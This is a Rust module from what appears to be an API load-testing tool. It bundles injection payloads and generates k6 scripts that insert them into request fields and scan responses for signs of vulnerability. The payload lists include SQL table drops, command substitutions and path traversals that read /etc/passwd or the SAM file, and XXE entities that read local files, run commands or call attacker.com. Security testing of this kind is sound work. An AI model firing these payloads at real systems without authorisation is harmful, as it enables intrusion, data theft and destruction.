mockforge_bench/
security_payloads.rs

1//! Security testing payloads for load testing
2//!
3//! This module provides built-in security testing payloads for common
4//! vulnerability categories including SQL injection, XSS, command injection,
5//! and path traversal.
6
7use crate::error::{BenchError, Result};
8use serde::{Deserialize, Serialize};
9use std::collections::HashSet;
10use std::path::Path;
11
12/// Escape a string for safe use in a JavaScript single-quoted string literal.
13/// Handles all problematic characters including:
14/// - Backslashes, single quotes, newlines, carriage returns
15/// - Backticks (template literals)
16/// - Unicode line/paragraph separators (U+2028, U+2029)
17/// - Null bytes and other control characters
18pub fn escape_js_string(s: &str) -> String {
19    let mut result = String::with_capacity(s.len() * 2);
20    for c in s.chars() {
21        match c {
22            '\\' => result.push_str("\\\\"),
23            '\'' => result.push_str("\\'"),
24            '"' => result.push_str("\\\""),
25            '`' => result.push_str("\\`"),
26            '\n' => result.push_str("\\n"),
27            '\r' => result.push_str("\\r"),
28            '\t' => result.push_str("\\t"),
29            '\0' => result.push_str("\\0"),
30            // Unicode line separator
31            '\u{2028}' => result.push_str("\\u2028"),
32            // Unicode paragraph separator
33            '\u{2029}' => result.push_str("\\u2029"),
34            // Other control characters (0x00-0x1F except already handled)
35            c if c.is_control() => {
36                result.push_str(&format!("\\u{:04x}", c as u32));
37            }
38            c => result.push(c),
39        }
40    }
41    result
42}
43
44/// Security payload categories
45#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
46#[serde(rename_all = "kebab-case")]
47pub enum SecurityCategory {
48    /// SQL Injection payloads
49    SqlInjection,
50    /// Cross-Site Scripting (XSS) payloads
51    Xss,
52    /// Command Injection payloads
53    CommandInjection,
54    /// Path Traversal payloads
55    PathTraversal,
56    /// Server-Side Template Injection
57    Ssti,
58    /// LDAP Injection
59    LdapInjection,
60    /// XML External Entity (XXE)
61    Xxe,
62}
63
64impl std::fmt::Display for SecurityCategory {
65    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
66        match self {
67            Self::SqlInjection => write!(f, "sqli"),
68            Self::Xss => write!(f, "xss"),
69            Self::CommandInjection => write!(f, "command-injection"),
70            Self::PathTraversal => write!(f, "path-traversal"),
71            Self::Ssti => write!(f, "ssti"),
72            Self::LdapInjection => write!(f, "ldap-injection"),
73            Self::Xxe => write!(f, "xxe"),
74        }
75    }
76}
77
78impl std::str::FromStr for SecurityCategory {
79    type Err = String;
80
81    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
82        match s.to_lowercase().replace('_', "-").as_str() {
83            "sqli" | "sql-injection" | "sqlinjection" => Ok(Self::SqlInjection),
84            "xss" | "cross-site-scripting" => Ok(Self::Xss),
85            "command-injection" | "commandinjection" | "cmd" => Ok(Self::CommandInjection),
86            "path-traversal" | "pathtraversal" | "lfi" => Ok(Self::PathTraversal),
87            "ssti" | "template-injection" => Ok(Self::Ssti),
88            "ldap-injection" | "ldapinjection" | "ldap" => Ok(Self::LdapInjection),
89            "xxe" | "xml-external-entity" => Ok(Self::Xxe),
90            _ => Err(format!("Unknown security category: '{}'", s)),
91        }
92    }
93}
94
95/// A security testing payload
96#[derive(Debug, Clone, Serialize, Deserialize)]
97pub struct SecurityPayload {
98    /// The payload string to inject
99    pub payload: String,
100    /// Category of the payload
101    pub category: SecurityCategory,
102    /// Description of what this payload tests
103    pub description: String,
104    /// Whether this is considered a high-risk payload
105    pub high_risk: bool,
106}
107
108impl SecurityPayload {
109    /// Create a new security payload
110    pub fn new(payload: String, category: SecurityCategory, description: String) -> Self {
111        Self {
112            payload,
113            category,
114            description,
115            high_risk: false,
116        }
117    }
118
119    /// Mark as high risk
120    pub fn high_risk(mut self) -> Self {
121        self.high_risk = true;
122        self
123    }
124}
125
126/// Configuration for security testing
127#[derive(Debug, Clone, Serialize, Deserialize)]
128pub struct SecurityTestConfig {
129    /// Whether security testing is enabled
130    pub enabled: bool,
131    /// Categories to test
132    pub categories: HashSet<SecurityCategory>,
133    /// Specific fields to target for injection
134    pub target_fields: Vec<String>,
135    /// Path to custom payloads file (extends built-in)
136    pub custom_payloads_file: Option<String>,
137    /// Whether to include high-risk payloads
138    pub include_high_risk: bool,
139}
140
141impl Default for SecurityTestConfig {
142    fn default() -> Self {
143        let mut categories = HashSet::new();
144        categories.insert(SecurityCategory::SqlInjection);
145        categories.insert(SecurityCategory::Xss);
146
147        Self {
148            enabled: false,
149            categories,
150            target_fields: Vec::new(),
151            custom_payloads_file: None,
152            include_high_risk: false,
153        }
154    }
155}
156
157impl SecurityTestConfig {
158    /// Enable security testing
159    pub fn enable(mut self) -> Self {
160        self.enabled = true;
161        self
162    }
163
164    /// Set categories to test
165    pub fn with_categories(mut self, categories: HashSet<SecurityCategory>) -> Self {
166        self.categories = categories;
167        self
168    }
169
170    /// Set target fields
171    pub fn with_target_fields(mut self, fields: Vec<String>) -> Self {
172        self.target_fields = fields;
173        self
174    }
175
176    /// Set custom payloads file
177    pub fn with_custom_payloads(mut self, path: String) -> Self {
178        self.custom_payloads_file = Some(path);
179        self
180    }
181
182    /// Enable high-risk payloads
183    pub fn with_high_risk(mut self) -> Self {
184        self.include_high_risk = true;
185        self
186    }
187
188    /// Parse categories from a comma-separated string
189    pub fn parse_categories(s: &str) -> std::result::Result<HashSet<SecurityCategory>, String> {
190        if s.is_empty() {
191            return Ok(HashSet::new());
192        }
193
194        s.split(',').map(|c| c.trim().parse::<SecurityCategory>()).collect()
195    }
196}
197
198/// Built-in security payloads
199pub struct SecurityPayloads;
200
201impl SecurityPayloads {
202    /// Get SQL injection payloads
203    pub fn sql_injection() -> Vec<SecurityPayload> {
204        vec![
205            SecurityPayload::new(
206                "' OR '1'='1".to_string(),
207                SecurityCategory::SqlInjection,
208                "Basic SQL injection tautology".to_string(),
209            ),
210            SecurityPayload::new(
211                "' OR '1'='1' --".to_string(),
212                SecurityCategory::SqlInjection,
213                "SQL injection with comment".to_string(),
214            ),
215            SecurityPayload::new(
216                "'; DROP TABLE users; --".to_string(),
217                SecurityCategory::SqlInjection,
218                "SQL injection table drop attempt".to_string(),
219            )
220            .high_risk(),
221            SecurityPayload::new(
222                "' UNION SELECT * FROM users --".to_string(),
223                SecurityCategory::SqlInjection,
224                "SQL injection union-based data extraction".to_string(),
225            ),
226            SecurityPayload::new(
227                "1' AND '1'='1".to_string(),
228                SecurityCategory::SqlInjection,
229                "SQL injection boolean-based blind".to_string(),
230            ),
231            SecurityPayload::new(
232                "1; WAITFOR DELAY '0:0:5' --".to_string(),
233                SecurityCategory::SqlInjection,
234                "SQL injection time-based blind (MSSQL)".to_string(),
235            ),
236            SecurityPayload::new(
237                "1' AND SLEEP(5) --".to_string(),
238                SecurityCategory::SqlInjection,
239                "SQL injection time-based blind (MySQL)".to_string(),
240            ),
241        ]
242    }
243
244    /// Get XSS payloads
245    pub fn xss() -> Vec<SecurityPayload> {
246        vec![
247            SecurityPayload::new(
248                "<script>alert('XSS')</script>".to_string(),
249                SecurityCategory::Xss,
250                "Basic script tag XSS".to_string(),
251            ),
252            SecurityPayload::new(
253                "<img src=x onerror=alert('XSS')>".to_string(),
254                SecurityCategory::Xss,
255                "Image tag XSS with onerror".to_string(),
256            ),
257            SecurityPayload::new(
258                "<svg/onload=alert('XSS')>".to_string(),
259                SecurityCategory::Xss,
260                "SVG tag XSS with onload".to_string(),
261            ),
262            SecurityPayload::new(
263                "javascript:alert('XSS')".to_string(),
264                SecurityCategory::Xss,
265                "JavaScript protocol XSS".to_string(),
266            ),
267            SecurityPayload::new(
268                "<body onload=alert('XSS')>".to_string(),
269                SecurityCategory::Xss,
270                "Body tag XSS with onload".to_string(),
271            ),
272            SecurityPayload::new(
273                "'><script>alert(String.fromCharCode(88,83,83))</script>".to_string(),
274                SecurityCategory::Xss,
275                "XSS with character encoding".to_string(),
276            ),
277            SecurityPayload::new(
278                "<div style=\"background:url(javascript:alert('XSS'))\">".to_string(),
279                SecurityCategory::Xss,
280                "CSS-based XSS".to_string(),
281            ),
282        ]
283    }
284
285    /// Get command injection payloads
286    pub fn command_injection() -> Vec<SecurityPayload> {
287        vec![
288            SecurityPayload::new(
289                "; ls -la".to_string(),
290                SecurityCategory::CommandInjection,
291                "Unix command injection with semicolon".to_string(),
292            ),
293            SecurityPayload::new(
294                "| cat /etc/passwd".to_string(),
295                SecurityCategory::CommandInjection,
296                "Unix command injection with pipe".to_string(),
297            )
298            .high_risk(),
299            SecurityPayload::new(
300                "$(cat /etc/passwd)".to_string(),
301                SecurityCategory::CommandInjection,
302                "Unix command substitution".to_string(),
303            )
304            .high_risk(),
305            SecurityPayload::new(
306                "`cat /etc/passwd`".to_string(),
307                SecurityCategory::CommandInjection,
308                "Unix backtick command execution".to_string(),
309            )
310            .high_risk(),
311            SecurityPayload::new(
312                "& dir".to_string(),
313                SecurityCategory::CommandInjection,
314                "Windows command injection".to_string(),
315            ),
316            SecurityPayload::new(
317                "|| ping -c 3 127.0.0.1".to_string(),
318                SecurityCategory::CommandInjection,
319                "Command injection with OR".to_string(),
320            ),
321            SecurityPayload::new(
322                "\n/bin/sh -c 'echo vulnerable'".to_string(),
323                SecurityCategory::CommandInjection,
324                "Newline-based command injection".to_string(),
325            ),
326        ]
327    }
328
329    /// Get path traversal payloads
330    pub fn path_traversal() -> Vec<SecurityPayload> {
331        vec![
332            SecurityPayload::new(
333                "../../../etc/passwd".to_string(),
334                SecurityCategory::PathTraversal,
335                "Basic path traversal".to_string(),
336            ),
337            SecurityPayload::new(
338                "..%2F..%2F..%2Fetc%2Fpasswd".to_string(),
339                SecurityCategory::PathTraversal,
340                "URL-encoded path traversal".to_string(),
341            ),
342            SecurityPayload::new(
343                "....//....//....//etc/passwd".to_string(),
344                SecurityCategory::PathTraversal,
345                "Double-dot path traversal bypass".to_string(),
346            ),
347            SecurityPayload::new(
348                "..%252f..%252f..%252fetc%252fpasswd".to_string(),
349                SecurityCategory::PathTraversal,
350                "Double URL-encoded path traversal".to_string(),
351            ),
352            SecurityPayload::new(
353                "/etc/passwd%00.jpg".to_string(),
354                SecurityCategory::PathTraversal,
355                "Null byte injection path traversal".to_string(),
356            ),
357            SecurityPayload::new(
358                "....\\....\\....\\windows\\system32\\config\\sam".to_string(),
359                SecurityCategory::PathTraversal,
360                "Windows path traversal".to_string(),
361            ),
362        ]
363    }
364
365    /// Get SSTI payloads
366    pub fn ssti() -> Vec<SecurityPayload> {
367        vec![
368            SecurityPayload::new(
369                "{{7*7}}".to_string(),
370                SecurityCategory::Ssti,
371                "Jinja2/Twig SSTI detection".to_string(),
372            ),
373            SecurityPayload::new(
374                "${7*7}".to_string(),
375                SecurityCategory::Ssti,
376                "Freemarker SSTI detection".to_string(),
377            ),
378            SecurityPayload::new(
379                "<%= 7*7 %>".to_string(),
380                SecurityCategory::Ssti,
381                "ERB SSTI detection".to_string(),
382            ),
383            SecurityPayload::new(
384                "#{7*7}".to_string(),
385                SecurityCategory::Ssti,
386                "Ruby SSTI detection".to_string(),
387            ),
388        ]
389    }
390
391    /// Get LDAP injection payloads
392    pub fn ldap_injection() -> Vec<SecurityPayload> {
393        vec![
394            SecurityPayload::new(
395                "*".to_string(),
396                SecurityCategory::LdapInjection,
397                "LDAP wildcard - match all".to_string(),
398            ),
399            SecurityPayload::new(
400                "*)(&".to_string(),
401                SecurityCategory::LdapInjection,
402                "LDAP filter injection - close and inject".to_string(),
403            ),
404            SecurityPayload::new(
405                "*)(uid=*))(|(uid=*".to_string(),
406                SecurityCategory::LdapInjection,
407                "LDAP OR injection to bypass auth".to_string(),
408            ),
409            SecurityPayload::new(
410                "admin)(&)".to_string(),
411                SecurityCategory::LdapInjection,
412                "LDAP always true injection".to_string(),
413            ),
414            SecurityPayload::new(
415                "x)(|(objectClass=*".to_string(),
416                SecurityCategory::LdapInjection,
417                "LDAP objectClass enumeration".to_string(),
418            ),
419            SecurityPayload::new(
420                "*)(cn=*".to_string(),
421                SecurityCategory::LdapInjection,
422                "LDAP CN attribute injection".to_string(),
423            ),
424            SecurityPayload::new(
425                "*)%00".to_string(),
426                SecurityCategory::LdapInjection,
427                "LDAP null byte injection".to_string(),
428            ),
429            SecurityPayload::new(
430                "*))%00".to_string(),
431                SecurityCategory::LdapInjection,
432                "LDAP double close with null byte".to_string(),
433            ),
434        ]
435    }
436
437    /// Get XXE (XML External Entity) payloads
438    pub fn xxe() -> Vec<SecurityPayload> {
439        vec![
440            SecurityPayload::new(
441                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
442                SecurityCategory::Xxe,
443                "Basic XXE - read /etc/passwd".to_string(),
444            ).high_risk(),
445            SecurityPayload::new(
446                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>"#.to_string(),
447                SecurityCategory::Xxe,
448                "Windows XXE - read win.ini".to_string(),
449            ).high_risk(),
450            SecurityPayload::new(
451                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]><foo>&xxe;</foo>"#.to_string(),
452                SecurityCategory::Xxe,
453                "XXE SSRF - external request".to_string(),
454            ).high_risk(),
455            SecurityPayload::new(
456                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">%xxe;]><foo>bar</foo>"#.to_string(),
457                SecurityCategory::Xxe,
458                "External DTD XXE".to_string(),
459            ).high_risk(),
460            SecurityPayload::new(
461                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>"#.to_string(),
462                SecurityCategory::Xxe,
463                "PHP expect XXE - command execution".to_string(),
464            ).high_risk(),
465            SecurityPayload::new(
466                r#"<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
467                SecurityCategory::Xxe,
468                "PHP filter XXE - base64 encoded read".to_string(),
469            ).high_risk(),
470            SecurityPayload::new(
471                r#"<!DOCTYPE foo [<!ENTITY % a "<!ENTITY &#37; b SYSTEM 'file:///etc/passwd'>">%a;%b;]>"#.to_string(),
472                SecurityCategory::Xxe,
473                "Parameter entity XXE".to_string(),
474            ).high_risk(),
475            SecurityPayload::new(
476                r#"<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker.com/xxe.dtd"><foo>&xxe;</foo>"#.to_string(),
477                SecurityCategory::Xxe,
478                "External DTD reference".to_string(),
479            ).high_risk(),
480        ]
481    }
482
483    /// Get all payloads for a specific category
484    pub fn get_by_category(category: SecurityCategory) -> Vec<SecurityPayload> {
485        match category {
486            SecurityCategory::SqlInjection => Self::sql_injection(),
487            SecurityCategory::Xss => Self::xss(),
488            SecurityCategory::CommandInjection => Self::command_injection(),
489            SecurityCategory::PathTraversal => Self::path_traversal(),
490            SecurityCategory::Ssti => Self::ssti(),
491            SecurityCategory::LdapInjection => Self::ldap_injection(),
492            SecurityCategory::Xxe => Self::xxe(),
493        }
494    }
495
496    /// Get all payloads for configured categories
497    pub fn get_payloads(config: &SecurityTestConfig) -> Vec<SecurityPayload> {
498        let mut payloads: Vec<SecurityPayload> =
499            config.categories.iter().flat_map(|c| Self::get_by_category(*c)).collect();
500
501        // Filter out high-risk if not included
502        if !config.include_high_risk {
503            payloads.retain(|p| !p.high_risk);
504        }
505
506        payloads
507    }
508
509    /// Load custom payloads from a file
510    pub fn load_custom_payloads(path: &Path) -> Result<Vec<SecurityPayload>> {
511        let content = std::fs::read_to_string(path)
512            .map_err(|e| BenchError::Other(format!("Failed to read payloads file: {}", e)))?;
513
514        serde_json::from_str(&content)
515            .map_err(|e| BenchError::Other(format!("Failed to parse payloads file: {}", e)))
516    }
517}
518
519/// Generates k6 JavaScript code for security testing
520pub struct SecurityTestGenerator;
521
522impl SecurityTestGenerator {
523    /// Generate k6 code for security payload selection
524    /// When cycle_all is true, payloads are cycled through sequentially instead of randomly
525    pub fn generate_payload_selection(payloads: &[SecurityPayload], cycle_all: bool) -> String {
526        let mut code = String::new();
527
528        code.push_str("// Security testing payloads\n");
529        code.push_str(&format!("// Total payloads: {}\n", payloads.len()));
530        code.push_str("const securityPayloads = [\n");
531
532        for payload in payloads {
533            // Escape the payload for JavaScript string literal
534            let escaped = escape_js_string(&payload.payload);
535            let escaped_desc = escape_js_string(&payload.description);
536
537            code.push_str(&format!(
538                "  {{ payload: '{}', category: '{}', description: '{}' }},\n",
539                escaped, payload.category, escaped_desc
540            ));
541        }
542
543        code.push_str("];\n\n");
544
545        if cycle_all {
546            // Cycle through all payloads sequentially
547            code.push_str("// Cycle through ALL payloads sequentially\n");
548            code.push_str("let __payloadIndex = 0;\n");
549            code.push_str("function getNextSecurityPayload() {\n");
550            code.push_str("  const payload = securityPayloads[__payloadIndex];\n");
551            code.push_str("  __payloadIndex = (__payloadIndex + 1) % securityPayloads.length;\n");
552            code.push_str("  return payload;\n");
553            code.push_str("}\n\n");
554        } else {
555            // Random selection (original behavior)
556            code.push_str("// Select random security payload\n");
557            code.push_str("function getNextSecurityPayload() {\n");
558            code.push_str(
559                "  return securityPayloads[Math.floor(Math.random() * securityPayloads.length)];\n",
560            );
561            code.push_str("}\n\n");
562        }
563
564        code
565    }
566
567    /// Generate k6 code for applying security payload to request
568    pub fn generate_apply_payload(target_fields: &[String]) -> String {
569        let mut code = String::new();
570
571        code.push_str("// Apply security payload to request\n");
572        code.push_str("function applySecurityPayload(payload, targetFields, secPayload) {\n");
573        code.push_str("  const result = { ...payload };\n");
574        code.push_str("  \n");
575
576        if target_fields.is_empty() {
577            code.push_str("  // No specific target fields - inject into first string field\n");
578            code.push_str("  for (const key of Object.keys(result)) {\n");
579            code.push_str("    if (typeof result[key] === 'string') {\n");
580            code.push_str("      result[key] = secPayload.payload;\n");
581            code.push_str("      break;\n");
582            code.push_str("    }\n");
583            code.push_str("  }\n");
584        } else {
585            code.push_str("  // Inject into specified target fields\n");
586            code.push_str("  for (const field of targetFields) {\n");
587            code.push_str("    if (result.hasOwnProperty(field)) {\n");
588            code.push_str("      result[field] = secPayload.payload;\n");
589            code.push_str("    }\n");
590            code.push_str("  }\n");
591        }
592
593        code.push_str("  \n");
594        code.push_str("  return result;\n");
595        code.push_str("}\n");
596
597        code
598    }
599
600    /// Generate k6 code for security test checks
601    pub fn generate_security_checks() -> String {
602        r#"// Security test response checks
603function checkSecurityResponse(res, expectedVulnerable) {
604  // Check for common vulnerability indicators
605  const body = res.body || '';
606
607  const vulnerabilityIndicators = [
608    // SQL injection
609    'SQL syntax',
610    'mysql_fetch',
611    'ORA-',
612    'PostgreSQL',
613
614    // Command injection
615    'root:',
616    '/bin/',
617    'uid=',
618
619    // Path traversal
620    '[extensions]',
621    'passwd',
622
623    // XSS (reflected)
624    '<script>alert',
625    'onerror=',
626
627    // Error disclosure
628    'stack trace',
629    'Exception',
630    'Error in',
631  ];
632
633  const foundIndicator = vulnerabilityIndicators.some(ind =>
634    body.toLowerCase().includes(ind.toLowerCase())
635  );
636
637  if (foundIndicator) {
638    console.warn(`POTENTIAL VULNERABILITY: ${securityPayload.description}`);
639    console.warn(`Category: ${securityPayload.category}`);
640    console.warn(`Status: ${res.status}`);
641  }
642
643  return check(res, {
644    'security test: no obvious vulnerability': () => !foundIndicator,
645    'security test: proper error handling': (r) => r.status < 500,
646  });
647}
648"#
649        .to_string()
650    }
651}
652
653#[cfg(test)]
654mod tests {
655    use super::*;
656    use std::str::FromStr;
657
658    #[test]
659    fn test_security_category_display() {
660        assert_eq!(SecurityCategory::SqlInjection.to_string(), "sqli");
661        assert_eq!(SecurityCategory::Xss.to_string(), "xss");
662        assert_eq!(SecurityCategory::CommandInjection.to_string(), "command-injection");
663        assert_eq!(SecurityCategory::PathTraversal.to_string(), "path-traversal");
664    }
665
666    #[test]
667    fn test_security_category_from_str() {
668        assert_eq!(SecurityCategory::from_str("sqli").unwrap(), SecurityCategory::SqlInjection);
669        assert_eq!(
670            SecurityCategory::from_str("sql-injection").unwrap(),
671            SecurityCategory::SqlInjection
672        );
673        assert_eq!(SecurityCategory::from_str("xss").unwrap(), SecurityCategory::Xss);
674        assert_eq!(
675            SecurityCategory::from_str("command-injection").unwrap(),
676            SecurityCategory::CommandInjection
677        );
678    }
679
680    #[test]
681    fn test_security_category_from_str_invalid() {
682        assert!(SecurityCategory::from_str("invalid").is_err());
683    }
684
685    #[test]
686    fn test_security_test_config_default() {
687        let config = SecurityTestConfig::default();
688        assert!(!config.enabled);
689        assert!(config.categories.contains(&SecurityCategory::SqlInjection));
690        assert!(config.categories.contains(&SecurityCategory::Xss));
691        assert!(!config.include_high_risk);
692    }
693
694    #[test]
695    fn test_security_test_config_builders() {
696        let mut categories = HashSet::new();
697        categories.insert(SecurityCategory::CommandInjection);
698
699        let config = SecurityTestConfig::default()
700            .enable()
701            .with_categories(categories)
702            .with_target_fields(vec!["name".to_string()])
703            .with_high_risk();
704
705        assert!(config.enabled);
706        assert!(config.categories.contains(&SecurityCategory::CommandInjection));
707        assert!(!config.categories.contains(&SecurityCategory::SqlInjection));
708        assert_eq!(config.target_fields, vec!["name"]);
709        assert!(config.include_high_risk);
710    }
711
712    #[test]
713    fn test_parse_categories() {
714        let categories = SecurityTestConfig::parse_categories("sqli,xss,path-traversal").unwrap();
715        assert_eq!(categories.len(), 3);
716        assert!(categories.contains(&SecurityCategory::SqlInjection));
717        assert!(categories.contains(&SecurityCategory::Xss));
718        assert!(categories.contains(&SecurityCategory::PathTraversal));
719    }
720
721    #[test]
722    fn test_sql_injection_payloads() {
723        let payloads = SecurityPayloads::sql_injection();
724        assert!(!payloads.is_empty());
725        assert!(payloads.iter().all(|p| p.category == SecurityCategory::SqlInjection));
726        assert!(payloads.iter().any(|p| p.payload.contains("OR")));
727    }
728
729    #[test]
730    fn test_xss_payloads() {
731        let payloads = SecurityPayloads::xss();
732        assert!(!payloads.is_empty());
733        assert!(payloads.iter().all(|p| p.category == SecurityCategory::Xss));
734        assert!(payloads.iter().any(|p| p.payload.contains("<script>")));
735    }
736
737    #[test]
738    fn test_command_injection_payloads() {
739        let payloads = SecurityPayloads::command_injection();
740        assert!(!payloads.is_empty());
741        assert!(payloads.iter().all(|p| p.category == SecurityCategory::CommandInjection));
742    }
743
744    #[test]
745    fn test_path_traversal_payloads() {
746        let payloads = SecurityPayloads::path_traversal();
747        assert!(!payloads.is_empty());
748        assert!(payloads.iter().all(|p| p.category == SecurityCategory::PathTraversal));
749        assert!(payloads.iter().any(|p| p.payload.contains("..")));
750    }
751
752    #[test]
753    fn test_get_payloads_filters_high_risk() {
754        let config = SecurityTestConfig::default();
755        let payloads = SecurityPayloads::get_payloads(&config);
756
757        // Should not include high-risk payloads by default
758        assert!(payloads.iter().all(|p| !p.high_risk));
759    }
760
761    #[test]
762    fn test_get_payloads_includes_high_risk() {
763        let config = SecurityTestConfig::default().with_high_risk();
764        let payloads = SecurityPayloads::get_payloads(&config);
765
766        // Should include some high-risk payloads
767        assert!(payloads.iter().any(|p| p.high_risk));
768    }
769
770    #[test]
771    fn test_generate_payload_selection_random() {
772        let payloads = vec![SecurityPayload::new(
773            "' OR '1'='1".to_string(),
774            SecurityCategory::SqlInjection,
775            "Basic SQLi".to_string(),
776        )];
777
778        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
779        assert!(code.contains("securityPayloads"));
780        assert!(code.contains("OR"));
781        assert!(code.contains("Math.random()"));
782        assert!(code.contains("getNextSecurityPayload"));
783    }
784
785    #[test]
786    fn test_generate_payload_selection_cycle_all() {
787        let payloads = vec![SecurityPayload::new(
788            "' OR '1'='1".to_string(),
789            SecurityCategory::SqlInjection,
790            "Basic SQLi".to_string(),
791        )];
792
793        let code = SecurityTestGenerator::generate_payload_selection(&payloads, true);
794        assert!(code.contains("securityPayloads"));
795        assert!(code.contains("Cycle through ALL payloads"));
796        assert!(code.contains("__payloadIndex"));
797        assert!(code.contains("getNextSecurityPayload"));
798        assert!(!code.contains("Math.random()"));
799    }
800
801    #[test]
802    fn test_generate_apply_payload_no_targets() {
803        let code = SecurityTestGenerator::generate_apply_payload(&[]);
804        assert!(code.contains("applySecurityPayload"));
805        assert!(code.contains("first string field"));
806    }
807
808    #[test]
809    fn test_generate_apply_payload_with_targets() {
810        let code = SecurityTestGenerator::generate_apply_payload(&["name".to_string()]);
811        assert!(code.contains("applySecurityPayload"));
812        assert!(code.contains("target fields"));
813    }
814
815    #[test]
816    fn test_generate_security_checks() {
817        let code = SecurityTestGenerator::generate_security_checks();
818        assert!(code.contains("checkSecurityResponse"));
819        assert!(code.contains("vulnerabilityIndicators"));
820        assert!(code.contains("POTENTIAL VULNERABILITY"));
821    }
822
823    #[test]
824    fn test_payload_escaping() {
825        let payloads = vec![SecurityPayload::new(
826            "'; DROP TABLE users; --".to_string(),
827            SecurityCategory::SqlInjection,
828            "Drop table".to_string(),
829        )];
830
831        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
832        // Single quotes should be escaped
833        assert!(code.contains("\\'"));
834    }
835}